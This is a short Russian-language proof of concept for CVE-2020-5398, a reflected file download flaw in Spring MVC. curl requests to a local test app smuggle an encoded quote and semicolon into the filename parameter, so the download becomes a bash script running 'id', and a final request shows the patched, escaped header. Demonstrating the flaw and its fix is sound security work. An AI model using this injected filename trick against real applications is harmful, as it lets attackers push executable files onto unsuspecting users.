
CVE-2020-5398 - атака RFD (Reflected File Download) для Spring MVC
В Spring Framework, версии 5.2.x до 5.2.3, версии 5.1.x до 5.1.13 и версии 5.0.x до 5.0.16, приложение уязвимо к атаке reflected file download (RFD), когда оно устанавливает в ответе заголовок “Content-Disposition”, где атрибут filename получен из ввода пользователя.
./gradlew bootrun
Прослушивание на 127.0.0.1:8080.
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
Начинается загрузка файла sample.txt.
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
Начинается загрузка файла sample.sh. (Shell-файл)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
Начинается загрузка файла sample.sh";.txt. (Текстовый файл)